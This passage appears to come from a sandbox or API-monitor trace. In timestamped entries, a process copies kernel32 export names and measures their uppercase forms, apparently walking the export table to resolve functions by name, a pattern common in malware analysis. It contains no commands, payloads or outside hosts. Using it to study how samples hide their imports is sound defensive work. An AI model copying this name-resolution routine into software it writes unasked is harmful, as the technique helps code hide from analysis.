(lpString="ASSIGNPROCESSTOJOBOBJECT") returned 24 [0117.602] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AttachConsole" | out: lpString1="AttachConsole") returned="AttachConsole" [0117.602] lstrlenA (lpString="ATTACHCONSOLE") returned 13 [0117.602] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BackupRead" | out: lpString1="BackupRead") returned="BackupRead" [0117.602] lstrlenA (lpString="BACKUPREAD") returned 10 [0117.602] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BackupSeek" | out: lpString1="BackupSeek") returned="BackupSeek" [0117.603] lstrlenA (lpString="BACKUPSEEK") returned 10 [0117.603] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BackupWrite" | out: lpString1="BackupWrite") returned="BackupWrite" [0117.603] lstrlenA (lpString="BACKUPWRITE") returned 11 [0117.603] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseCheckAppcompatCache" | out: lpString1="BaseCheckAppcompatCache") returned="BaseCheckAppcompatCache" [0117.603] lstrlenA (lpString="BASECHECKAPPCOMPATCACHE") returned 23 [0117.603] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseCheckAppcompatCacheEx" | out: lpString1="BaseCheckAppcompatCacheEx") returned="BaseCheckAppcompatCacheEx" [0117.603] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEX") returned 25 [0117.603] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseCheckAppcompatCacheExWorker" | out: lpString1="BaseCheckAppcompatCacheExWorker") returned="BaseCheckAppcompatCacheExWorker" [0117.603] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEXWORKER") returned 31 [0117.603] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseCheckAppcompatCacheWorker" | out: lpString1="BaseCheckAppcompatCacheWorker") returned="BaseCheckAppcompatCacheWorker" [0117.603] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEWORKER") returned 29 [0117.603] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseCheckElevation" | out: lpString1="BaseCheckElevation") returned="BaseCheckElevation" [0117.603] lstrlenA (lpString="BASECHECKELEVATION") returned 18 [0117.603] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseCleanupAppcompatCacheSupport" | out: lpString1="BaseCleanupAppcompatCacheSupport") returned="BaseCleanupAppcompatCacheSupport" [0117.603] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORT") returned 32 [0117.603] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseCleanupAppcompatCacheSupportWorker" | out: lpString1="BaseCleanupAppcompatCacheSupportWorker") returned="BaseCleanupAppcompatCacheSupportWorker" [0117.603] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORTWORKER") returned 38 [0117.603] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseDestroyVDMEnvironment" | out: lpString1="BaseDestroyVDMEnvironment") returned="BaseDestroyVDMEnvironment" [0117.603] lstrlenA (lpString="BASEDESTROYVDMENVIRONMENT") returned 25 [0117.603] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseDllReadWriteIniFile" | out: lpString1="BaseDllReadWriteIniFile") returned="BaseDllReadWriteIniFile" [0117.603] lstrlenA (lpString="BASEDLLREADWRITEINIFILE") returned 23 [0117.603] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseDumpAppcompatCache" | out: lpString1="BaseDumpAppcompatCache") returned="BaseDumpAppcompatCache" [0117.603] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHE") returned 22 [0117.603] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseDumpAppcompatCacheWorker" | out: lpString1="BaseDumpAppcompatCacheWorker") returned="BaseDumpAppcompatCacheWorker" [0117.603] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHEWORKER") returned 28 [0117.603] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseElevationPostProcessing" | out: lpString1="BaseElevationPostProcessing") returned="BaseElevationPostProcessing" [0117.603] lstrlenA (lpString="BASEELEVATIONPOSTPROCESSING") returned 27 [0117.603] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseFlushAppcompatCache" | out: lpString1="BaseFlushAppcompatCache") returned="BaseFlushAppcompatCache" [0117.603] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHE") returned 23 [0117.603] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseFlushAppcompatCacheWorker" | out: lpString1="BaseFlushAppcompatCacheWorker") returned="BaseFlushAppcompatCacheWorker" [0117.603] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHEWORKER") returned 29 [0117.603] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseFormatObjectAttributes" | out: lpString1="BaseFormatObjectAttributes") returned="BaseFormatObjectAttributes" [0117.603] lstrlenA (lpString="BASEFORMATOBJECTATTRIBUTES") returned 26 [0117.603] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseFormatTimeOut" | out: lpString1="BaseFormatTimeOut") returned="BaseFormatTimeOut" [0117.603] lstrlenA (lpString="BASEFORMATTIMEOUT") returned 17 [0117.604] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseFreeAppCompatDataForProcessWorker" | out: lpString1="BaseFreeAppCompatDataForProcessWorker") returned="BaseFreeAppCompatDataForProcessWorker" [0117.604] lstrlenA (lpString="BASEFREEAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0117.604] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseGenerateAppCompatData" | out: lpString1="BaseGenerateAppCompatData") returned="BaseGenerateAppCompatData" [0117.604] lstrlenA (lpString="BASEGENERATEAPPCOMPATDATA") returned 25 [0117.604] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseGetNamedObjectDirectory" | out: lpString1="BaseGetNamedObjectDirectory") returned="BaseGetNamedObjectDirectory" [0117.604] lstrlenA (lpString="BASEGETNAMEDOBJECTDIRECTORY") returned 27 [0117.604] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseInitAppcompatCacheSupport" | out: lpString1="BaseInitAppcompatCacheSupport") returned="BaseInitAppcompatCacheSupport" [0117.604] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORT") returned 29 [0117.604] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseInitAppcompatCacheSupportWorker" | out: lpString1="BaseInitAppcompatCacheSupportWorker") returned="BaseInitAppcompatCacheSupportWorker" [0117.604] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORTWORKER") returned 35 [0117.604] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseIsAppcompatInfrastructureDisabled" | out: lpString1="BaseIsAppcompatInfrastructureDisabled") returned="BaseIsAppcompatInfrastructureDisabled" [0117.604] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLED") returned 37 [0117.604] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseIsAppcompatInfrastructureDisabledWorker" | out: lpString1="BaseIsAppcompatInfrastructureDisabledWorker") returned="BaseIsAppcompatInfrastructureDisabledWorker" [0117.604] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLEDWORKER") returned 43 [0117.604] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseIsDosApplication" | out: lpString1="BaseIsDosApplication") returned="BaseIsDosApplication" [0117.604] lstrlenA (lpString="BASEISDOSAPPLICATION") returned 20 [0117.604] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseQueryModuleData" | out: lpString1="BaseQueryModuleData") returned="BaseQueryModuleData" [0117.604] lstrlenA (lpString="BASEQUERYMODULEDATA") returned 19 [0117.604] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseReadAppCompatDataForProcessWorker" | out: lpString1="BaseReadAppCompatDataForProcessWorker") returned="BaseReadAppCompatDataForProcessWorker" [0117.604] lstrlenA (lpString="BASEREADAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0117.604] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseSetLastNTError" | out: lpString1="BaseSetLastNTError") returned="BaseSetLastNTError" [0117.604] lstrlenA (lpString="BASESETLASTNTERROR") returned 18 [0117.604] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseThreadInitThunk" | out: lpString1="BaseThreadInitThunk") returned="BaseThreadInitThunk" [0117.604] lstrlenA (lpString="BASETHREADINITTHUNK") returned 19 [0117.604] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseUpdateAppcompatCache" | out: lpString1="BaseUpdateAppcompatCache") returned="BaseUpdateAppcompatCache" [0117.604] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHE") returned 24 [0117.604] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseUpdateAppcompatCacheWorker" | out: lpString1="BaseUpdateAppcompatCacheWorker") returned="BaseUpdateAppcompatCacheWorker" [0117.604] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHEWORKER") returned 30 [0117.604] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseUpdateVDMEntry" | out: lpString1="BaseUpdateVDMEntry") returned="BaseUpdateVDMEntry" [0117.604] lstrlenA (lpString="BASEUPDATEVDMENTRY") returned 18 [0117.604] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseVerifyUnicodeString" | out: lpString1="BaseVerifyUnicodeString") returned="BaseVerifyUnicodeString" [0117.604] lstrlenA (lpString="BASEVERIFYUNICODESTRING") returned 23 [0117.604] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseWriteErrorElevationRequiredEvent" | out: lpString1="BaseWriteErrorElevationRequiredEvent") returned="BaseWriteErrorElevationRequiredEvent" [0117.604] lstrlenA (lpString="BASEWRITEERRORELEVATIONREQUIREDEVENT") returned 36 [0117.604] lstrcpyA (in: lpString1=0x2e7f298, lpString2="Basep8BitStringToDynamicUnicodeString" | out: lpString1="Basep8BitStringToDynamicUnicodeString") returned="Basep8BitStringToDynamicUnicodeString" [0117.605] lstrlenA (lpString="BASEP8BITSTRINGTODYNAMICUNICODESTRING") returned 37 [0117.605] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepAllocateActivationContextActivationBlock" | out: lpString1="BasepAllocateActivationContextActivationBlock") returned="BasepAllocateActivationContextActivationBlock" [0117.605] lstrlenA (lpString="BASEPALLOCATEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 45 [0117.605] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepAnsiStringToDynamicUnicodeString" | out: lpString1="BasepAnsiStringToDynamicUnicodeString") returned="BasepAnsiStringToDynamicUnicodeString" [0117.605] lstrlenA (lpString="BASEPANSISTRINGTODYNAMICUNICODESTRING") returned 37 [0117.605] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepAppContainerEnvironmentExtension" | out: lpString1="BasepAppContainerEnvironmentExtension") returned="BasepAppContainerEnvironmentExtension" [0117.605] lstrlenA (lpString="BASEPAPPCONTAINERENVIRONMENTEXTENSION") returned 37 [0117.605] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepAppXExtension" | out: lpString1="BasepAppXExtension") returned="BasepAppXExtension" [0117.605] lstrlenA (lpString="BASEPAPPXEXTENSION") returned 18 [0117.605] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepCheckAppCompat" | out: lpString1="BasepCheckAppCompat") returned="BasepCheckAppCompat" [0117.605] lstrlenA (lpString="BASEPCHECKAPPCOMPAT") returned 19 [0117.605] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepCheckWebBladeHashes" | out: lpString1="BasepCheckWebBladeHashes") returned="BasepCheckWebBladeHashes" [0117.605] lstrlenA (lpString="BASEPCHECKWEBBLADEHASHES") returned 24 [0117.605] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepCheckWinSaferRestrictions" | out: lpString1="BasepCheckWinSaferRestrictions") returned="BasepCheckWinSaferRestrictions" [0117.605] lstrlenA (lpString="BASEPCHECKWINSAFERRESTRICTIONS") returned 30 [0117.605] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepConstructSxsCreateProcessMessage" | out: lpString1="BasepConstructSxsCreateProcessMessage") returned="BasepConstructSxsCreateProcessMessage" [0117.605] lstrlenA (lpString="BASEPCONSTRUCTSXSCREATEPROCESSMESSAGE") returned 37 [0117.605] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepCopyEncryption" | out: lpString1="BasepCopyEncryption") returned="BasepCopyEncryption" [0117.605] lstrlenA (lpString="BASEPCOPYENCRYPTION") returned 19 [0117.605] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepFreeActivationContextActivationBlock" | out: lpString1="BasepFreeActivationContextActivationBlock") returned="BasepFreeActivationContextActivationBlock" [0117.605] lstrlenA (lpString="BASEPFREEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 41 [0117.605] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepFreeAppCompatData" | out: lpString1="BasepFreeAppCompatData") returned="BasepFreeAppCompatData" [0117.605] lstrlenA (lpString="BASEPFREEAPPCOMPATDATA") returned 22 [0117.605] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepGetAppCompatData" | out: lpString1="BasepGetAppCompatData") returned="BasepGetAppCompatData" [0117.605] lstrlenA (lpString="BASEPGETAPPCOMPATDATA") returned 21 [0117.605] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepGetComputerNameFromNtPath" | out: lpString1="BasepGetComputerNameFromNtPath") returned="BasepGetComputerNameFromNtPath" [0117.605] lstrlenA (lpString="BASEPGETCOMPUTERNAMEFROMNTPATH") returned 30 [0117.605] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepGetExeArchType" | out: lpString1="BasepGetExeArchType") returned="BasepGetExeArchType" [0117.605] lstrlenA (lpString="BASEPGETEXEARCHTYPE") returned 19 [0117.605] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepInitAppCompatData" | out: lpString1="BasepInitAppCompatData") returned="BasepInitAppCompatData" [0117.605] lstrlenA (lpString="BASEPINITAPPCOMPATDATA") returned 22 [0117.605] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepIsProcessAllowed" | out: lpString1="BasepIsProcessAllowed") returned="BasepIsProcessAllowed" [0117.605] lstrlenA (lpString="BASEPISPROCESSALLOWED") returned 21 [0117.605] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepMapModuleHandle" | out: lpString1="BasepMapModuleHandle") returned="BasepMapModuleHandle" [0117.605] lstrlenA (lpString="BASEPMAPMODULEHANDLE") returned 20 [0117.606] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepNotifyLoadStringResource" | out: lpString1="BasepNotifyLoadStringResource") returned="BasepNotifyLoadStringResource" [0117.606] lstrlenA (lpString="BASEPNOTIFYLOADSTRINGRESOURCE") returned 29 [0117.606] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepPostSuccessAppXExtension" | out: lpString1="BasepPostSuccessAppXExtension") returned="BasepPostSuccessAppXExtension" [0117.606] lstrlenA (lpString="BASEPPOSTSUCCESSAPPXEXTENSION") returned 29 [0117.606] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepProcessInvalidImage" | out: lpString1="BasepProcessInvalidImage") returned="BasepProcessInvalidImage" [0117.606] lstrlenA (lpString="BASEPPROCESSINVALIDIMAGE") returned 24 [0117.606] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepQueryAppCompat" | out: lpString1="BasepQueryAppCompat") returned="BasepQueryAppCompat" [0117.606] lstrlenA (lpString="BASEPQUERYAPPCOMPAT") returned 19 [0117.606] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepReleaseAppXContext" | out: lpString1="BasepReleaseAppXContext") returned="BasepReleaseAppXContext" [0117.606] lstrlenA (lpString="BASEPRELEASEAPPXCONTEXT") returned 23 [0117.606] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepReleaseSxsCreateProcessUtilityStruct" | out: lpString1="BasepReleaseSxsCreateProcessUtilityStruct") returned="BasepReleaseSxsCreateProcessUtilityStruct" [0117.606] lstrlenA (lpString="BASEPRELEASESXSCREATEPROCESSUTILITYSTRUCT") returned 41 [0117.606] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepReportFault" | out: lpString1="BasepReportFault") returned="BasepReportFault" [0117.606] lstrlenA (lpString="BASEPREPORTFAULT") returned 16 [0117.606] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepSetFileEncryptionCompression" | out: lpString1="BasepSetFileEncryptionCompression") returned="BasepSetFileEncryptionCompression" [0117.606] lstrlenA (lpString="BASEPSETFILEENCRYPTIONCOMPRESSION") returned 33 [0117.606] lstrcpyA (in: lpString1=0x2e7f298, lpString2="Beep" | out: lpString1="Beep") returned="Beep" [0117.606] lstrlenA (lpString="BEEP") returned 4 [0117.606] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BeginUpdateResourceA" | out: lpString1="BeginUpdateResourceA") returned="BeginUpdateResourceA" [0117.606] lstrlenA (lpString="BEGINUPDATERESOURCEA") returned 20 [0117.606] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BeginUpdateResourceW" | out: lpString1="BeginUpdateResourceW") returned="BeginUpdateResourceW" [0117.606] lstrlenA (lpString="BEGINUPDATERESOURCEW") returned 20 [0117.606] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BindIoCompletionCallback" | out: lpString1="BindIoCompletionCallback") returned="BindIoCompletionCallback" [0117.606] lstrlenA (lpString="BINDIOCOMPLETIONCALLBACK") returned 24 [0117.606] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BuildCommDCBA" | out: lpString1="BuildCommDCBA") returned="BuildCommDCBA" [0117.606] lstrlenA (lpString="BUILDCOMMDCBA") returned 13 [0117.606] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BuildCommDCBAndTimeoutsA" | out: lpString1="BuildCommDCBAndTimeoutsA") returned="BuildCommDCBAndTimeoutsA" [0117.606] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSA") returned 24 [0117.606] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BuildCommDCBAndTimeoutsW" | out: lpString1="BuildCommDCBAndTimeoutsW") returned="BuildCommDCBAndTimeoutsW" [0117.606] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSW") returned 24 [0117.606] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BuildCommDCBW" | out: lpString1="BuildCommDCBW") returned="BuildCommDCBW" [0117.606] lstrlenA (lpString="BUILDCOMMDCBW") returned 13 [0117.606] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CallNamedPipeA" | out: lpString1="CallNamedPipeA") returned="CallNamedPipeA" [0117.606] lstrlenA (lpString="CALLNAMEDPIPEA") returned 14 [0117.606] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CallNamedPipeW" | out: lpString1="CallNamedPipeW") returned="CallNamedPipeW" [0117.607] lstrlenA (lpString="CALLNAMEDPIPEW") returned 14 [0117.607] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CallbackMayRunLong" | out: lpString1="CallbackMayRunLong") returned="CallbackMayRunLong" [0117.607] lstrlenA (lpString="CALLBACKMAYRUNLONG") returned 18 [0117.607] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CancelDeviceWakeupRequest" | out: lpString1="CancelDeviceWakeupRequest") returned="CancelDeviceWakeupRequest" [0117.607] lstrlenA (lpString="CANCELDEVICEWAKEUPREQUEST") returned 25 [0117.607] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CancelIo" | out: lpString1="CancelIo") returned="CancelIo" [0117.607] lstrlenA (lpString="CANCELIO") returned 8 [0117.607] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CancelIoEx" | out: lpString1="CancelIoEx") returned="CancelIoEx" [0117.607] lstrlenA (lpString="CANCELIOEX") returned 10 [0117.607] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CancelSynchronousIo" | out: lpString1="CancelSynchronousIo") returned="CancelSynchronousIo" [0117.607] lstrlenA (lpString="CANCELSYNCHRONOUSIO") returned 19 [0117.607] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CancelThreadpoolIo" | out: lpString1="CancelThreadpoolIo") returned="CancelThreadpoolIo" [0117.607] lstrlenA (lpString="CANCELTHREADPOOLIO") returned 18 [0117.607] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CancelTimerQueueTimer" | out: lpString1="CancelTimerQueueTimer") returned="CancelTimerQueueTimer" [0117.607] lstrlenA (lpString="CANCELTIMERQUEUETIMER") returned 21 [0117.607] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CancelWaitableTimer" | out: lpString1="CancelWaitableTimer") returned="CancelWaitableTimer" [0117.607] lstrlenA (lpString="CANCELWAITABLETIMER") returned 19 [0117.607] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CeipIsOptedIn" | out: lpString1="CeipIsOptedIn") returned="CeipIsOptedIn" [0117.607] lstrlenA (lpString="CEIPISOPTEDIN") returned 13 [0117.607] lstrcpyA (in: lpString1=0x2e7f298, lpString2="ChangeTimerQueueTimer" | out: lpString1="ChangeTimerQueueTimer") returned="ChangeTimerQueueTimer" [0117.607] lstrlenA (lpString="CHANGETIMERQUEUETIMER") returned 21 [0117.607] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CheckAllowDecryptedRemoteDestinationPolicy" | out: lpString1="CheckAllowDecryptedRemoteDestinationPolicy") returned="CheckAllowDecryptedRemoteDestinationPolicy" [0117.607] lstrlenA (lpString="CHECKALLOWDECRYPTEDREMOTEDESTINATIONPOLICY") returned 42 [0117.607] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CheckElevation" | out: lpString1="CheckElevation") returned="CheckElevation" [0117.607] lstrlenA (lpString="CHECKELEVATION") returned 14 [0117.607] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CheckElevationEnabled" | out: lpString1="CheckElevationEnabled") returned="CheckElevationEnabled" [0117.607] lstrlenA (lpString="CHECKELEVATIONENABLED") returned 21 [0117.607] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CheckForReadOnlyResource" | out: lpString1="CheckForReadOnlyResource") returned="CheckForReadOnlyResource" [0117.607] lstrlenA (lpString="CHECKFORREADONLYRESOURCE") returned 24 [0117.607] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CheckForReadOnlyResourceFilter" | out: lpString1="CheckForReadOnlyResourceFilter") returned="CheckForReadOnlyResourceFilter" [0117.607] lstrlenA (lpString="CHECKFORREADONLYRESOURCEFILTER") returned 30 [0117.607] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CheckNameLegalDOS8Dot3A" | out: lpString1="CheckNameLegalDOS8Dot3A") returned="CheckNameLegalDOS8Dot3A" [0117.607] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3A") returned 23 [0117.607] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CheckNameLegalDOS8Dot3W" | out: lpString1="CheckNameLegalDOS8Dot3W") returned="CheckNameLegalDOS8Dot3W" [0117.608] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3W") returned 23 [0117.608] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CheckRemoteDebuggerPresent" | out: lpString1="CheckRemoteDebuggerPresent") returned="CheckRemoteDebuggerPresent" [0117.608] lstrlenA (lpString="CHECKREMOTEDEBUGGERPRESENT") returned 26 [0117.608] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CheckTokenCapability" | out: lpString1="CheckTokenCapability") returned="CheckTokenCapability" [0117.608] lstrlenA (lpString="CHECKTOKENCAPABILITY") returned 20 [0117.608] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CheckTokenMembershipEx" | out: lpString1="CheckTokenMembershipEx") returned="CheckTokenMembershipEx" [0117.608] lstrlenA (lpString="CHECKTOKENMEMBERSHIPEX") returned 22 [0117.608] lstrcpyA (in: lpString1=0x2e7f298, lpString2="ClearCommBreak" | out: lpString1="ClearCommBreak") returned="ClearCommBreak" [0117.608] lstrlenA (lpString="CLEARCOMMBREAK") returned 14 [0117.608] lstrcpyA (in: lpString1=0x2e7f298, lpString2="ClearCommError" | out: lpString1="ClearCommError") returned="ClearCommError" [0117.608] lstrlenA (lpString="CLEARCOMMERROR") returned 14 [0117.608] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CloseConsoleHandle" | out: lpString1="CloseConsoleHandle") returned="CloseConsoleHandle" [0117.608] lstrlenA (lpString="CLOSECONSOLEHANDLE") returned 18 [0117.608] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CloseHandle" | out: lpString1="CloseHandle") returned="CloseHandle" [0117.608] lstrlenA (lpString="CLOSEHANDLE") returned 11 [0117.608] lstrcpyA (in: lpString1=0x2e7f298, lpString2="ClosePackageInfo" | out: lpString1="ClosePackageInfo") returned="ClosePackageInfo" [0117.608] lstrlenA (lpString="CLOSEPACKAGEINFO") returned 16 [0117.608] lstrcpyA (in: lpString1=0x2e7f298, lpString2="ClosePrivateNamespace" | out: lpString1="ClosePrivateNamespace") returned="ClosePrivateNamespace" [0117.608] lstrlenA (lpString="CLOSEPRIVATENAMESPACE") returned 21 [0117.608] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CloseProfileUserMapping" | out: lpString1="CloseProfileUserMapping") returned="CloseProfileUserMapping" [0117.608] lstrlenA (lpString="CLOSEPROFILEUSERMAPPING") returned 23 [0117.608] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CloseState" | out: lpString1="CloseState") returned="CloseState" [0117.608] lstrlenA (lpString="CLOSESTATE") returned 10 [0117.608] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CloseThreadpool" | out: lpString1="CloseThreadpool") returned="CloseThreadpool" [0117.608] lstrlenA (lpString="CLOSETHREADPOOL") returned 15 [0117.608] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CloseThreadpoolCleanupGroup" | out: lpString1="CloseThreadpoolCleanupGroup") returned="CloseThreadpoolCleanupGroup" [0117.608] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUP") returned 27 [0117.608] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CloseThreadpoolCleanupGroupMembers" | out: lpString1="CloseThreadpoolCleanupGroupMembers") returned="CloseThreadpoolCleanupGroupMembers" [0117.608] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUPMEMBERS") returned 34 [0117.608] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CloseThreadpoolIo" | out: lpString1="CloseThreadpoolIo") returned="CloseThreadpoolIo" [0117.608] lstrlenA (lpString="CLOSETHREADPOOLIO") returned 17 [0117.608] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CloseThreadpoolTimer" | out: lpString1="CloseThreadpoolTimer") returned="CloseThreadpoolTimer" [0117.608] lstrlenA (lpString="CLOSETHREADPOOLTIMER") returned 20 [0117.608] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CloseThreadpoolWait" | out: lpString1="CloseThreadpoolWait") returned="CloseThreadpoolWait" [0117.608] lstrlenA (lpString="CLOSETHREADPOOLWAIT") returned 19 [0117.609] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CloseThreadpoolWork" | out: lpString1="CloseThreadpoolWork") returned="CloseThreadpoolWork" [0117.609] lstrlenA (lpString="CLOSETHREADPOOLWORK") returned 19 [0117.609] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CmdBatNotification" | out: lpString1="CmdBatNotification") returned="CmdBatNotification" [0117.609] lstrlenA (lpString="CMDBATNOTIFICATION") returned 18 [0117.609] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CommConfigDialogA" | out: lpString1="CommConfigDialogA") returned="CommConfigDialogA" [0117.609] lstrlenA (lpString="COMMCONFIGDIALOGA") returned 17 [0117.609] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CommConfigDialogW" | out: lpString1="CommConfigDialogW") returned="CommConfigDialogW" [0117.609] lstrlenA (lpString="COMMCONFIGDIALOGW") returned 17 [0117.609] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CompareCalendarDates" | out: lpString1="CompareCalendarDates") returned="CompareCalendarDates" [0117.609] lstrlenA (lpString="COMPARECALENDARDATES") returned 20 [0117.609] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CompareFileTime" | out: lpString1="CompareFileTime") returned="CompareFileTime" [0117.609] lstrlenA (lpString="COMPAREFILETIME") returned 15 [0117.609] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CompareStringA" | out: lpString1="CompareStringA") returned="CompareStringA" [0117.609] lstrlenA (lpString="COMPARESTRINGA") returned 14 [0117.609] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CompareStringEx" | out: lpString1="CompareStringEx") returned="CompareStringEx" [0117.609] lstrlenA (lpString="COMPARESTRINGEX") returned 15 [0117.609] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CompareStringOrdinal" | out: lpString1="CompareStringOrdinal") returned="CompareStringOrdinal" [0117.609] lstrlenA (lpString="COMPARESTRINGORDINAL") returned 20 [0117.609] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CompareStringW" | out: lpString1="CompareStringW") returned="CompareStringW" [0117.609] lstrlenA (lpString="COMPARESTRINGW") returned 14 [0117.609] lstrcpyA (in: lpString1=0x2e7f298, lpString2="ConnectNamedPipe" | out: lpString1="ConnectNamedPipe") returned="ConnectNamedPipe" [0117.609] lstrlenA (lpString="CONNECTNAMEDPIPE") returned 16 [0117.609] lstrcpyA (in: lpString1=0x2e7f298, lpString2="ConsoleMenuControl" | out: lpString1="ConsoleMenuControl") returned="ConsoleMenuControl" [0117.609] lstrlenA 